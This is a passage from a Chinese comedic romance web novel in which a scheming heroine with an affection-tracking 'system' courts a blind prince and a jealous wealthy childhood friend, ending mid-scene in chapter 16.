从有记忆以来就不信奉“三秒钟原则”,只要没被人踩过我都会装作还在三秒内捡起来吃掉。
这有钱人的世界终究还是被我闯了进去,我看着万俟镜,心里泪流满面,开口道:
“那我们第一次见的时候你为什么能坐在树底下?”
万俟镜抿唇不答:“......”
我:“是不是心情不好,一个人躲起来偷偷难过。”
万俟镜的脸转向其他地方。
笑死,就允许你戳别人心窝子是吧。
“当时你允许我摸你的手,接了我一朵不怎么漂亮的花。”
万俟镜皱起了眉:“你说那朵花很漂亮的。”
我:“。”
这是重点吗?你他妈怎么记这么仔细!
他继续辩驳:“而且你当时并没有问我的意见,你是直接拽住了我的手。”
我的沉默震耳欲聋,好了知道你记忆力很强了,下次骗你的时候我注意点。
管家:“!”我是谁,你是谁,他是谁?
我松开了他,正色道:“如果第一次的时候我问你,你愿意让我摸你的手吗?”
这个问题很怪,明明她才是个姑娘。
万俟镜认真地想了想,诚实道:“不知道,应该不愿意吧。”
我:“那现在呢,万俟镜,我想牵着你的手出去玩,你愿意吗?”
他低下了头,几缕发丝垂到身前,所有的温暖与灿烂被他拦在身后。
我仍然看见了他藏起的那抹笑容,他说,“不知道……”
“但,我应该会想愿意。”
微凉的指尖被我抓进手里,我和万俟镜坐在了出城的马车上。
想到了出门前管家那个看登徒子一样的眼神,我索性直接躺在了万俟镜身上。
人都是叛逆的。
他扭开了烧红的脸:“这样不好,你是个姑娘。”
我无所谓道:“我才不管呢,你不是个姑娘就行。”,一边说一边在他身上戳了戳。
“坐稳了,”万俟镜抓住我作乱的手,不动声色地拉开距离,“小心摔倒。”
手被按了一路,没有了作案工具,我就只能看着链子上晃动的流苏。
除了我,万俟镜就带了管家和马夫。
如果管家会驾车的话,那大概率就只有我们仨。
这不禁让我担心起他的人身安全......
好吧,其实我担心的是万一刺客来了会误杀。
有仇报仇,有怨报怨,伤及无辜就不好了。
“镜镜,咱们不会遇到危险吧。”
“不会的,我们很安全。”
我看了看文弱书生般的管家以及比管家还要瘦弱的马夫。
哥,你是从哪里看出来我们很安全的?我是挺安全的,毕竟你们三个看起来像是跑步都会摔倒的样子,关键时刻应该能绊住杀手为我争取逃跑的时间。
我哈哈大笑,“没事,到时候我会保护你的。”
前提是你们三个摞一起能先抗住坏人一拳。
“真的吗?”他眼睑低垂,脸上挂着淡笑,像是相信了我的话,又像是不信,或者其实是根本无所谓真假。
他的身上仿佛镀了层圣光,因为看不见,又能清楚的辨认出,便好似多了一分神性,恍惚中像是降世的神明在审问我的良心。
我脸不红心不跳地说:“真的。”
长眼的我都不怕,更何况是这眼瞎的。
按我说的,管家找了块干净的地把毯子铺了上去,布置好一切后,朝我点头。
活像是在看一只会随地大小躺的狗,他用表情告诉我,去毯子上滚吧。
我恨不得狂摇万俟镜让他看看他的人是怎么瞧不起我欺负我的。
可惜他什么都看不见。
“你要是能看到就好了。”我幽幽道。
他笑了笑没说话,以为我又是在诈娇。
“真的,”我摸了摸他眼皮上细小的青色血管,
“这样王管家就不敢欺负我了。”
“他怎么欺负你了?”
万俟镜的语气像是在哄一个无理取闹的孩子。
我不服气道:“他用眼睛欺负我了。”
我扑到他的怀里,“他看我,很猥琐。”
管家:“?”
真是贼喊捉贼,她才是仗着王爷不知道,一个劲用下流的眼神打量王爷,还时不时扭头瞪他一眼,论猥琐和心机,她都是这个。
他在心里悄悄比了个大拇指。
“王灼,”万俟镜开口,“坐的远一些。”
被叫了大名身体一震的王管家:“......”
为什么世界突然变暗,原来是因为没有了爱。
属下退了,这一退就是好几个时辰。
我宣布,这一场淮南王争夺战——周妧胜。
怎么这个万俟镜比我还招人?是因为他长了张看起来就很好压的脸吗?
也行,正好我喜欢在上面,多年被贫穷禁锢了一颗一览众山小的心。
万俟镜和我肩并肩坐在一起。
我呼喊:“啊,蓝天,绿草,美人!”
“啊,白云,鲜花,美人!”
万俟镜好奇:“哪里有美人?”
我用肩碰了碰他,“这不是就在我旁边坐着呢嘛!”
他被撞得晃了晃,却“扑哧”笑了出来,“又胡说。”
远处竖着耳朵的王管家:呸!登徒子!
我眼睛一扫,不远处有朵开的很好的花,我“哇”了一声,跑过去摘了过来。
“快摸摸,还是活的呢。”我把花塞给万俟镜。
万俟镜轻轻抚过,这次的茎秆上没有刺,“很漂亮,又是送我的吗?”
我道:“不是,是想和它聊聊天,有个问题想问问它。”
“问什么?”他顺着我的话问了下去。
我:“问问镜镜是不是美人,看看我有没有胡说。”
万俟镜挑眉,将花递给我,罕见地露出了一丝孩子气,玩笑道:“那你问吧。”
我揪下一片花瓣扔到他的掌心,“镜镜是个大美人。”
又揪下一片随手一扔被风卷走,“不是。”
放入他的掌心,“镜镜是个大美人。”
胡乱一扔,“不是。”
......
只剩下最后一片花瓣,我没揪,连着茎一起给了他。
“镜镜是个大美人,花赞同。”
万俟镜眨了眨眼,心脏仿佛泡进了温水里,一股奇怪的感觉游走在他的四肢百骸。
这种感觉他体会的不多,应该叫作喜悦。
为什么喜悦呢,因为一朵随处可见的野花还是几句不痛不痒的闲话?
他感到奇怪,却还是下意识捏紧了花柄,这次花上没有刺,不会扎伤他。
万俟镜那双生不出任何波澜的眼睛盯着温暖的来源,露出了一个不同寻常的微笑。
真是恶心啊......乔云州靠在他们头顶的树上,目睹了下面发生的一切。
一片树叶落了下来,我抬头,与那双来不及收起狠戾的眼睛对了个正着。
乔云州并没有被抓包的慌张,他的怒火已经燃尽了理智,无声地说了一句话:
“那花有没有说你在撒谎。”
在剩下最后一片花瓣之前,分明是她扯掉了多余的一片,并没有发声。
阿妧只是可怜这个传说中瞎了多年的淮南王,可万俟镜却生出了其他肮脏的念头。
真是恬不知耻,令人作呕。
我完全看不懂乔云州的口型,不知道他说了句什么。
但他也太生气了吧!我不理解,但大为震惊。
只是撒了个小谎而已啊!难道我要眼睁睁看着我的浪漫变成一场闹剧吗?
这传出去,我周某人还怎么在江湖上混?
丢什么不能丢脸,跌啥不能跌份儿。
我
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不甘示弱地瞪了回去,乔云州眼神更是冷了个彻底,气得微微发抖。
乔云州不知道自己在发什么疯。
睁开眼就想守在淮南王府外,既不会给她制造麻烦,又想尽可能离她近一些。
这些年大多数时候他都是这样做的。
他看见她挽着万俟镜走出来,与他一同上了王府的马车,一路都在笑。
乔云州突然笑了,眼泪却掉了下来。
那些断了线的晶莹剔透的珠子折射出的阳光有些刺眼,我不太想去看,低下头大声说了一句。
“我会去找你的。”
一阵风扬过,再抬头树上已经没有了那道身影。
我舒了口气,又迎上了一双空洞却如同镜子般的眼睛。
“你要去找谁?”万俟镜似笑非笑。
家人们,汗流浃背了。
“找你呗,”我打着哈哈,“住在你家不找你还能找谁,管家吗?”
王管家恶狠狠地瞪了我一眼,直接把脚下的石子踢飞出去。
看!被我抓到了吧!
这次可是你先瞪我的!
我看着石子远去的身影,在心里比较着它和乔云州哪个的速度更快。
哼,没本事的男人就会拿弱小的石头出气。
“说不定呢。”万俟镜爱惜地摸了摸花茎上唯一的一片花瓣。
他这种心情我可以理解,哪个秃子不会在意自己头上的最后一根头发。
“刚刚你一直抬头盯着树上看,后来又在看王管家,我想应该是有什么好玩的吸引了你,”万俟镜抽出一条手帕将花包好收起来,“你愿意告诉我吗?”
“!”,我说不愿意你能不好奇吗,“其实也没什么,树上刚刚跑过去了一只小松鼠,我就多看了两眼。”
“小松鼠啊......”他若有所思,“我还以为是一只不太好看的灰麻雀呢,京城有很多这样的野鸟,小孩子往往会把它们当做宝贝。”
我讪讪的笑了,“是吗?没看见......”
“那又为什么看王管家呢?”他语气柔和,像是闲聊,“周围很多有意思的事我都看不见,难免好奇心大了些。”
“因为他又凶我了,你不知道他看我的眼神,”我一脸委屈地躲进万俟镜的怀里,“像一头凶狠的恶犬。”
王恶犬控制不住地又想剜她一眼。
万俟镜拍了拍我的背以示安慰,“那以后不让他看你了好不好。”
我点点头,“就知道镜镜最好了。”
惦记着流泪离开的乔云州,一下午我都心不在焉。
平时能吃两大盘的葡萄,今天居然只吃了一盘半。
回到淮南王府后,万俟镜的精力已经耗的差不多了,他很少连着这么长时间不休息。
我连自己的院子都没进,蹲在墙角等了会儿,约莫着他应该躺到了床上,立马拔腿往千梦醉跑。
看着这个气势恢宏的酒楼,简直就是一座小宫殿啊。
我惊了,又没完全惊。
因为每当我的目光被眼前的奢靡震撼住的时候,马上就有更奢靡的等着震撼我。
我就这样被一波波狠狠地刺激到清醒。
踏着青玉铺就的台阶,我恨自己不能牵来一头大象。
得不到的就应该给它全都踩碎。
我被刺激的两眼发昏,扶上了一旁的栏杆。
缓了缓,定睛一看,草,纯金的。
一口气堵在喉咙里,险些没给我卡死。
我在被闪瞎双眼和得红眼病之间选择把头埋进了迎面出来的男人的怀里。
我发誓,这只是巧合,真的不是因为他太好看了。
......
好吧,就算是因为他太好看了又怎样!美貌有错吗?要杀了他吗?!!!!
系统:......
杀了你才对吧。
与黄金一比,果然美色都是浮云,为何我已经挤进了大帅比的怀里,却还是忍不住的心痛。
财富,真的是原罪。
金钱,不是我的都该消失。
“没事吧姑娘?”
我看着男人青色绣文竹的锦袍,虚弱道:“我头晕。”
这人虚抱着我,既不至于孟浪,又大度有礼,他扭头朝身旁的人说道:“这位姑娘身体不适,快去请个郎中。”
我咬唇,一副不行还要硬撑的样子,“不劳郎君费心了,我找个地方歇歇就好。”
他差人要了杯温水,递到了我的手里,“那姑娘先缓缓,不过还是要请郎中看看才安心。”
浪迹情场这么多年,头一次见到真好人。
为了感谢他,我特意在递茶杯的时候碰了碰他的手并且先发制人地脸红了。
谢礼是脸红,因为我从不脸红,除非故意。
他清俊的脸上也快速地闪过了尴尬,不自在地拨弄着自己玉佩上的缨穗。
“姑娘来这里......”
“是来找我的。”
滚金线的红锦衣摆铺在地上,男人的青丝垂下,发尾用一根红绳系着,迤迤然自楼上走下。
他靠在洒金的墙壁上,像是朵盛开在人间的富贵花。
14. 用醋罐子打翻完成任务
“云州?”他看了看乔云州,又看了看我,“你认识这位姑娘?”
像我们这种情场高手在狩猎时最害怕遇到两种情况,一是遇到和自己关系匪浅的,二是遇到和对象关系匪浅的。
无论是这两种情况中的哪一种,都意味着我们的狩猎游戏随时面临着被喊停的风险。
如果两种情况都遇到了,恭喜你,获得了自然里最稳定的关系。
乔云州隔在我和他之间,将我罩在身后,宣示主权,“不止认识。”
我:周妧清誉-10086。
他叮嘱道:“哦,这样啊,这位姑娘不太舒服,你最好......”
乔云州一句也不想听他多说,随手招了个人将他请了出去,“行了,这你就别管了,我心里有数。”
宋竹年心生不悦,他行的正坐的端,大家兄弟一场,难道还会上去抢不成,至于这么小心眼吗。
他知乔云州不领情,便也不纠缠,转身时余光向红袍后的身影瞥了一眼,倒是挡的严严实实,什么也看不见。
宋竹年走出老远,身后传来姑娘略带委屈的指责。
“那位郎君只是帮我,你这是做什么呀!”
宋竹年脚步一顿,强忍回头的欲望,大步离开了。
罢了,本就不干他的事,朋友心仪的姑娘,该避嫌才是。
随手推开了一间空房走了进去,我现在明面上可是皇上的周美人,来这里的人明显非富即贵,要是被谁认出来看见那还了得。
周家就集体牢房换刑场吧。
我翘着二郎腿,因为被打扰而感到不满,不太想看他。
乔云州跟了进来,看到我的反应,咬唇走向窗边,只留一个沉默克制的背影。
我们谁都没有说话,房间里只有规律的咀嚼声。
桌子上摆的瓜果太香,看着挺值钱的,我就拿起来尝了尝。
尝尝而已。
在我面前摆满一排果核之后,乔云州开口了,他转过身看着我,红了眼眶。
“周妧,你就知道朝我横!”
前有万俟镜,后有宋竹年,只有他从未被放在心上。
召之即来,挥之即去。
我看着空了的果盘前排列整齐的果核,小小的脑袋,大大的问号。
见过给自己加戏的,没见过加的这么离谱的。
简单点,说话的方式简单点。
你又不是个演员,我才是。
“是那男的对我动手动脚在先,我只是个弱女子,挣扎起来被人看见就不好了。”
刚才当着宋竹年的面还一口一个郎君,现在就改口叫那男的了,乔云州冷哼:“宋竹年说你身体不适,我倒要问问,你哪儿不舒服?我可一直在上边看着呢,你分明就是瞧他好看,上来就扑进了人家的怀里!”
现在他还泡在无边的酸意里,不想从她嘴里听到其他任何男人的存在。
为什么总有些碍眼的人要跑出来和他抢。
明明自小陪在她身边的是他。
那些人算什么东西!
人与人之间的信任在哪里?
我就想问问,你摄像头转世还是卫星成精啊,没事老站上头瞎看什么,还看那么仔细。
看得仔细也就算了,要么看他,要么看我,选一样也成啊。
你小子还都不放过?俩眼睛同时站岗,一个也不让休息。
最烦这种没有边界感的人了。
不知道的还以为是京城情报站的站长呢。
我道:“你知道还骂人家宋公子。”
“宋公子?”乔云州忍受不了,愤怒中不忘疑神疑鬼,“你怎么认识他?你何时认识他的?为什么叫他叫得这么亲近!”
我无语道:“不是你刚刚说的宋竹年吗?”
这个乔云州到底能不能成事,怎么神经兮兮的。
“那也不行!”他咬牙看向我,触碰到我眼睛时又立马变了个嘴脸,声音软了下来,可怜兮兮地重复,“……那也不行。”
我不敢吭声,谁不怕疯子啊。
乔云州盯着我看了片刻,随手拂掉身侧的一个红瓷花瓶。
“你什么意思,你生我的气了是不是!”
他鞋底踩上了片碎瓷,碎片更加四分五裂,像是他眼底被怒火割裂的理智。
“我怎么可能会生你的气呢。”我目光上移,去他长袖之下寻到他冰凉的手,“是你非要和我讨论不相干的人,我提宋竹年是想告诉你没必要生气,我来这里是干嘛的,找你的呀。”
怒气被戳了个洞,逐渐从乔云州眉眼消逝,只是他态度仍不肯放软,“少花言巧语了,你不是和万俟镜出去玩的挺开心的吗,还找我,去宋竹年怀里找吗。”
他撇了撇嘴,“哄人都哄的漏洞百出。”
我插科打诨,“那不是想那想的我头晕眼花,好看的男人都长得差不多,一不小心抱错了嘛。”
乔云州抽出自己的手,他低下头,又委屈又难过。
我道:“好吧,我说实话。”
“其实我就是被千梦醉吓到了,你看这里,这堆金积玉富丽堂皇的,看看,那刚走进来的人穿成那样一看就是当官的,官职应该还不低。”
“这千梦醉老板肯定不是干正经营生发家的,指不定多强横残暴脑满肠肥,说不定还无恶不作心怀不轨,万一惦记上我强制消费了怎么办,我就是用宋竹年掩护一下。”
听着我的话,乔云州的眉越拧越深,我话音刚落地,他一张俊颜扭曲,道:
“周妧!你实在太过分了!”
我不解:“……我又怎么了。”
他道:“你为什么骂我,还说我……”
他闭上了嘴,说不出口。
“你是......”我颤抖的念出两个字,“......老板?”
“不然呢?”他理所当然。
我觉得乔云州身上仿佛打了顶聚光灯,光芒万丈,亮的吓人。
“要是有一天我们友谊的小船翻了,你可以用钱砸死我吗?”
乔云州:“......”
我双手合十:“拜托!”
乔云州直接拒绝,“不行。”
“……为什么?”
乔云州笑了,唇角挂上了残忍,“因为你要是敢丢下我,我就一把火把所有东西都烧的干干净净,包括我,也包括你最喜欢的钱。”
……
许久,我道:“你知道我最讨厌什么人吗?”
乔云州顿了一下,不知道话题怎么就被扯到了这里。
“......你讨厌所有有可能会困住你的人。”
我难得愣了一下,“什么?”
“周妧,其实你很厌恶我吧。”
乔云州自嘲道。
从他缠着她的时候开始,从他喜欢上她开始。
周妧是个胆小鬼,她害怕去爱人。
乔云州一直知道。
“是啊,”我走到他的身旁,繁华的街道匍匐在脚下,很容易让人生出一种凌驾的不凡之感,“我最讨厌自大的人。”
乔云州的眼睛看着我时总是很纯粹,里间只有未经雕刻的喜怒哀乐。
最直接,也最热烈。
我靠在他的肩头,“像你这种,自以为是自说自话的,就真的让我很不舒服。”
他搂紧了我,手足无措的慌张,他睫毛很快的眨动了几下,“我不是那个意思,我不该说这种话的,你别放在心上行吗?”
我道:“不行,你不是都说了吗,我厌恶你。”
乔云州呼吸乱了节奏,“是我不对,我说错了,你不厌恶我,你对我很好的,一直以来都只有你会保护我……”
我捂住他的嘴,似是看不见他祈求的目光,“我真的很不喜欢看见你的眼泪。”
他的腰,草,这么细,我鼻血都快喷出来了。
不行,忍住,要流血也得流在万俟镜面前,他才对这个比较敏感。
“还像小时候一样动不动就哭,你这样怎么办啊乔云州……”
他整个人都软了下来,他把头埋在了我的颈窝,像是垂死之人终于得到了救命稻草。
我拍拍他的背,“不难过了吧?”
他点了点头,刚想说话,又听我继续问道。
“那能亲你一下不?”
从房间出来的时候我大大咧咧走在前头还心旷神怡地吹起了口哨,乔云州低眉顺眼,他跟在身后,嘴唇红的像是涂上了一层胭脂,眼神躲闪,最终故作不经意落在我身上。
我终于解开了为什么以前上课的时候每次吃火锅都会被老师逮到的未解之谜。
看着偷感十足的乔云州,他就差把“我刚和前面那女的做完见不得人的事”这一行字贴身上。
可能贴身上的效果反倒差一些。
我正想着该怎么提醒他收敛一下,突然,一个穿粉红桃花褙子的女孩冲了过来挡住了我的去路。
“好啊,周妧!你居然敢私逃出宫!”
女孩白嫩嫩的小脸,尖尖的下巴,圆溜溜的眼睛瞪得老大,此时正怒气冲冲地指着我。
京城这么大,还真叫我碰上熟人了?
“敢问这位姑娘是
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?”
问完,我仿佛看到这小桃花的火气“哗”地一下起来了,她一字一顿地说:
“周妧你这个装模做样的王八蛋!”
首先,我不知道好好说话为什么会惹她生气;其次,我不知道自己是否长了张好欺负的脸;最后,这到底是哪里蹦出来的二百五?家里没拴好绳子吗?
我用一种看神经病的眼神对她进行了一番无言的羞辱。
然后再有言羞辱她。
“神经病吧你是!我认得你吗!”
“就算认得,记住你在脑子里太占地,我忘了还不行吗?”
“恶犬也不能挡道啊。”
果然,真诚才是必杀技。
如果说刚才她只是点着了火气,那现在简直就是要自燃了。
看到方鸢的那一刻,乔云州的脑中出现了轰鸣,整个世界仿佛碎成了白点,狠狠地扎在他的身上。
方鸢在这,那……她呢?
他流了一身冷汗,又恍惚觉得好像是血。
那个恶心的女人的脸又浮现了出来,他克制地攥住掌心的伤口,拉回崩溃的意识,乔云州眸中凝起了厚厚的一层冰霜,提醒道:
“方小姐,这里可不是国公府。”
方鸢趾高气昂,“乔云州,你又算个什么东西!不过是有些臭钱罢了!”
我哭了,什么时候我才能被别人指着鼻子骂有臭钱。
这可是我简简单单的人生理想。
“很臭吗?”两个人被我问的愣住了,我一脸真诚和善良地看着乔云州,“如果你嫌很臭的话,可以都给我。”
又扭头看向这位方小姐,“当然,你的也可以。”
我环顾了一下周围暗戳戳看八卦的达官显贵,振臂,“大家的都可以。”
乔云州:“......”
好吧,反正我的就是阿妧的。
方鸢:“......”
她更疯了,也更强了。
大家:“......”
有热闹的地方可以待,有疯子的热闹不能看,溜了溜了。
怎么我是核武器吗?杀伤力这么大,一句话还清场了。
方鸢握拳:“我要让我爹禀告皇上给你治罪!”
我无辜道:“为什么?”
“当然是因为你私逃出宫!还,”她指着乔云州,像只愤怒的小鸟,“还私通男人!”
我当着她的面牵起了乔云州的手,好笑道:“我是问你为什么要告你爹,有本事你就直接告皇上。”
方鸢不理解,“可是我的本事就是有个厉害的爹啊。”
靠,这逻辑严密的权贵后代高高在上理论,这会儿你倒是头脑风暴了。
我深吸口气,“行,那你就去打小报告吧,顺便告诉你爹,你骂皇上的女人是王八蛋,岂不是骂皇上天天搂着未来的王八睡!”
乔云州唰地抽回了自己的手,我感受到身旁的低气压,旋即朝他扬起了一个讨好的笑。
他哼了一声,继续委屈。
“少吹牛了,皇上才不会天天搂着你睡!”方鸢翻了个白眼,“皇上为朝政殚精竭虑,哪有时间理会你这种女人。”
我咬牙,说清楚,我哪种女人。
她发现了漏洞,“而且皇上要是宠你,你会被贬为美人吗?”
我靠?这二百五关键时刻脑子居然这么灵。
“别以为我好糊弄,我娘家里有个表亲可是在宫里当差的。”
方鸢得意洋洋。
我继续咬牙,这万恶的人情社会!
“哦,”我拉长语调,意味深长,“你们家在皇宫里有人啊。”
方鸢:“那是!”
我道:“监视皇上,动机不纯!”
方鸢的眼睛懵懂地眨了眨,反应过来后迅速瞪大,“不是!我家没有!你胡说!”
我问乔云州,“云州,你听到了没?”
他把玩着自己发尾系的红绳,在我不停地使眼色中才不情不愿地点了点头。
我欣赏着方鸢的气急败坏,“而且,皇上可不是贬我为美人,他是发自内心地觉得我就是。”
“不信有机会了你问问他你是不是美人,他肯定说不是。”
“至于私通男人,云州是我最重要的旧友,这点皇上也知道,你大可以去御前告我的状,就怕皇上会觉得你挑衅天威,祸连你方家满门。”
我从方鸢身旁经过,狠狠地撞了一下她的肩,在她耳畔小声道:“你以为如果没有皇上的允准,我是如何出宫,如何站在这里的。”
“真是个蠢货。”
15. 用义结金兰完成任务
“铺天盖地的黄沙席卷,元娘见到了真正的暗无天日是何模样,她伏爬在地紧紧握住阿赢的手,拼命向前爬。
尖锐的沙石割的元娘遍体鳞伤,却像有生命似的绕开阿赢。
元娘虚弱地对他一笑,深情款款,还好你不会受伤。”
你没事吧?!
凭什么绞元娘不绞他,他是脸上贴金了还是充VIP了?
鬼的深情款款,这龟儿子走后门了吧?!
算了,跳过这一段往后翻几页看吧。
“二人从沙丘上滚落,阿赢被一种奇异藤蔓交织在一起的轻柔藤垫半路截住,元娘以加速度向前翻滚,最终砸进了一处沼泽。
她一边下沉一边仰头看着坐在藤垫上的阿赢,抽动嘴角欣慰道,还是你运气好。”
元娘是犯什么天条了吗?
我只想说一句,那些杀不死她的,还不如杀了她!
我面无表情哗啦啦地把书往后翻了更多。
“......
总之二人面临了种种艰难险阻,披荆斩棘,闯过了无数难关,终于走出了那一片传说中的沙吞之地。
元娘伤痕累累地抬头仰望星空,灰头土脸仍没折去半分眼底的光亮。
不是天上月,便是人间仙。
她劫后余生,指着前方一马平川的路,阿赢,往下我们走的就都是康庄大道了。
阿赢顺着她指的方向望去,点点头,一个没注意,踩到了脚下的石块,被绊倒在地。
纤细瓷白的脚腕以肉眼可见的速度红肿起来。
一张精致的脸上疼的冒出了冷汗。
他不知所措地看了看自己的脚,又看了看元娘。
银月高悬,辉光铺洒在地上,前路不见尽头。
元娘数着自己滴落的汗珠,很快就数不过来了,她心中生出了少许苍凉无望之感。
阿赢趴在她的背上安静地睡了过去,绵长的呼吸有规律地落在她的肩上,吹动她耳后的碎发。
扬起,落下,又扬起。
元娘不时将下滑的人往上一抬,她一步两个脚印,往大漠深处走去......”
......
读懂了作者文字背后的悲伤。
我合上书看了看封皮上的书名,《养花记》,谁是花?
阿赢吗?
他是什么花,毒花?食人花?
羊毛就可着一个人薅,这什么大男主吸血小说。
如果愛请深愛,如果不愛请别傷害。
是不是只有45°仰望天空,眼泪才能流进心里。
凭啥都是主角他开了挂女主快挂了。
最烦虐女主的了,这种小说永远都是一个套路。
男主眼瞎长张嘴就知道说你不配,女主捂住耳朵说我会永远爱你宝贝。
男主作天作地作自己,女主把自己PUA成狗不理。
男主上头逐渐不抗拒,女主一夕之间被改了程序。
男主看着女主背影流泪追悔莫及,女主甩男主一巴掌说从此你算个屁。
最后男主挡刀挡枪挡炸弹感动女主皆大欢喜。
二人挽手往后余生黏在一起做个掰不开的烂梨。
我辗转反侧,本来一个时辰后才能到来的睡意被气得跑的更远了。
不知道怀民睡了没有,我冷静了三秒,披上衣服溜了出去。
怀民不会睡的。
晚间的风在夏日里也带着些许凉意,等走到地方,身上也染了些月光的冷凉。
我按照记下来的方位,摸到床上,准备迎接阴冷下待久了盖上被子那一瞬间满足的快感。
凑过去,想给睡着的万怀民来个惊喜。
“草!烫死了!”
灼热的温度险些将我烫化,我立刻趴在墙上像只猥琐的壁虎。
万俟镜被声音惊醒,他虽不能视物,还是向着声源的方向侧了侧头。
“霓婉姑娘?是你吗?”
这人真的很有意思,在畏畏缩缩露出伤痕累累的灵魂渴望被治愈的同时还总是想抱着残躯高高在上地唤我一声“霓婉姑娘”。
霓婉姑娘,我们之间什么都没有,你也没什么特别的,所以你是霓婉姑娘。
可霓婉不过是深宫之中的草芥,你本不该记住,更不该将她留在身边。
推开我,又期盼我离得更近。
扎入血肉的情爱才能让你感知到自己的存在吧。
藏在银白锦衣之下的躯体上多出的血线,那些血线无论如何淡化都不会彻底消失。
细疤结成的蛛网割裂了你的完美,只会让你更加破碎。
你瞧不起灰麻雀,可你比它还要可悲。
起码它成功欺骗了自己相信我的爱。
你不相信,却也忍不住心存幻想。
幻想我会永远留下,永远骗你。
觉得自己只要陪伴就够了。
不仅心存幻想,还在自毁中获得微薄落入实处安定的快感。
整理了一下被扑腾的凌乱的衣衫,我深情款款,“是我啊镜镜,我来了。”
万俟镜喉头耸动了一下,“你......来干什么?”
“睡不着,来找你聊天。”我畅快地答道。
他眼睛缓慢地眨了一下,不理解道:“这么晚了......”
“哦,对哦。”我利落地和他并排躺了下去,“天已经很晚了,还是睡觉吧。”
“?”万俟镜曲起腿,留了个可以从床尾出去的空间,“那你不回去睡吗?”
我神经病啊,晃悠一圈再回去,你当我梦游呢!
“镜镜,你的身上怎么这么热啊?”
我扯开了话题,想转移他的注意。
万俟镜沉默了,很久,他声音轻飘飘,“天生的。”
我痛心地拍床,“这也太不公平了,凭什么老天就把你生成这样,冬天得省多少炭啊!”
万俟镜笑了,少许月光自窗边钻了进来,打亮了他的小半边脸。
平静柔和。
我的脑海中浮现出另一张美貌惊人的脸。
曾摘在手中亵玩的那朵集圣洁与妖艳一体的山茶花。
万俟镜打断了我那不受控往十八禁猛奔的思想,还好人的高度能够掩饰思想的高度。
浑身碎骨浑不怕,要留清白在人间。
他说,“冬天不会这样,会冷。”
夏暖冬凉?我舒心了,看看他横跨两条街的大宅子,看看他再多就站不下脚的仆从,看看他这张优越到总是让我想吃干抹净的脸,再看看他一天到晚不用干活混吃等死的样子。
如果再加上天然空调冬不冷夏不热的属性,我会怀疑他投胎的时候走后门了。
走后门不要紧,记得捎上我就行。
我强忍幸灾乐祸,状似充满遗憾:“怎么会这样!”
你们这些人不幸的证明,都是老天爷没忘记我的证据。
万俟镜睁着眼睛:“都过去了。”
你自己信就行,我内心的小人笑到昏厥,“那就让它过去吧,如果你愿意的话,以后我会一直陪着你的。”
他嘴角向上,脸上竟出现了一个很浅的梨涡,“怎么,你想成为我的眼睛?”
你好土,不过还好我比你更土。
“不,”我靠近他的手,一点点与他十指相扣,“我想成为你的全世界。”
系统:“万俟镜好感值上升5,目前好感值65。”
好烦,真的好烦,就像吃东西的时候有个声音在人耳边念叨增加的体重。
这种被考试成绩支配的恐惧什么时候才能滚远点啊!
努力半个学期,归来仍是倒一。
他手指几不可察地攥了一下,很快就松开了,“别胡闹。”
“我当你.....
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.是朋友的。”
姐拿你当男人,没想到你拿姐也当男人。
我盯着他看了半响,翻了个身,平躺在床上,胳膊垫在脑后。
“行吧,那从今天起咱俩就是拜把子的好兄弟,不求同年同月同日生,也不求同年同月同日死,但求有福同享有难同当,你看怎么样?”
万俟镜默了,他第一次见到有人把明着占便宜说的这么清新脱俗。
我光着脚跑下去把窗户打开,正好能够看到高悬的明月,将人拉了起来,把被子踢到角落腾地,人被我按跪在床上。
还好万俟镜身子虚手无缚鸡之力。
手无缚鸡之力的万俟镜:......
“这是要做什么?”
“让月神做个见证,从今天起咱就是异父异母的亲兄弟,我喊你一声哥,你叫我一声姐,面子大过天,咱俩各论各的,谁也别占谁便宜,你说行吗,哥!”
万俟镜:“......”
他张了张嘴,我用目光鼓励他。
“没事,万事开头难,你深吸一口气,第一声叫出来以后顺溜了就好了。”
万俟镜简直不敢相信自己听到了什么,认真道:“你是不是疯了?”
他坐在床上将手贴到我的额头,“也没发烧啊......”
你浑身烫的都快滚起来了,摸开水壶也感觉不到热吧。
我像个木偶一样被他摆弄着检查了一番,找穴位经脉之准确让我觉得如果他不是淮南王殿下开个盲人按摩馆应该也能发家。
拂开他烧火棍一样的手,“我和你说正经的呢。”
万俟镜道:“可我觉得你现在很不正经。”
我摸了摸下巴,“比我半夜翻墙爬上你的床还不正经吗?”
本想调戏一下他,看他羞红脸,结果他煞有介事的点了点头,“嗯。”
我:“......”
说好了要做彼此的天使呢。
逆反心理上来,我伸手拽他,怎么着也得把这个把子拜下去。
他躲闪,却被我的膝盖压住了衣袖,身形不稳,向前扑了过来。
那片唇对上我的压了下来,千钧一发之际,我一个猫猫后退。
躲开了。
抱一丝,偶像剧看多了,拒绝玩尬的。
他手肘撑着床,成功低下了头。
机不可失失不再来,我抓住这转瞬即逝的可能,也将头放了下去。
......一阵乌鸦飞过……
万俟镜:......
月亮:......
我:......
等等,这姿势,我们两个的头?
摆在了一起!
这他妈怎么这么像夫妻对拜啊!!!
我猛地后退,头皮被扯的剧痛,他与我的头发不知道什么时候就缠到了一起。
此时此刻,我文化不多的脑子里极不合时宜的想起了一句话。
像是老旧的投影仪突然动了一下机关。
“结发为夫妻,恩爱两不疑。”
嗯?????
草了!谁把我的心里话公放了出来?这合适嘛,不是说了不要玩尬的吗!
万俟镜摸上缠在一起的结,掏出一把匕首,然后......
兄弟!你这是打哪儿拿出来的呀!
寒光一闪,我吓得闭上了双眼,再睁开眼的时候他已经躺了回去。
我摸了摸自己冒着寒气的脖子,以后再也不和瞎子玩猜猜我是谁了。
因为他不可能猜的对,但他可能藏了刀。
“镜镜,你怎么……突然这样了?”
他背过去,“睡吧。”
我叹口气,不一会儿就睡着了。
平稳的呼吸之下,一双暗沉的眼睛在黑夜中睁开。
万俟镜捏紧掌心里的发丝,用丝绳系好置于枕下。
16. 用进大狱见父兄完成任务
窗户晚上忘关了,有麻雀站在窗棂上叽叽喳喳的叫,吵死了。
我睁开眼,对于总是在陌生的地方睡醒已经没有什么特别的感受了。
整张薄被全都裹在了我身上,我一扭头就看见了万俟镜突出的肩胛骨。
在寝衣下起伏,像是只沉睡的蝴蝶。
我往他光洁的后颈探了探,透着凉意,已经恢复了正常的体温。
将被子扯了一角搭在他的腹部。
我蹑手蹑脚的翻过他下了床,蹲在床边,看着他随呼吸震动的长睫。
目光流连在他姣好面容上,最终停留在昨晚险些碰到一处的地方。
屏住呼吸,时间仿佛被拉回到昨晚的遗憾,我低下头。
万俟镜的睡颜陷入阴影,笼罩下来的暗色顿在一点,颇有小心温柔视若珍宝之感。
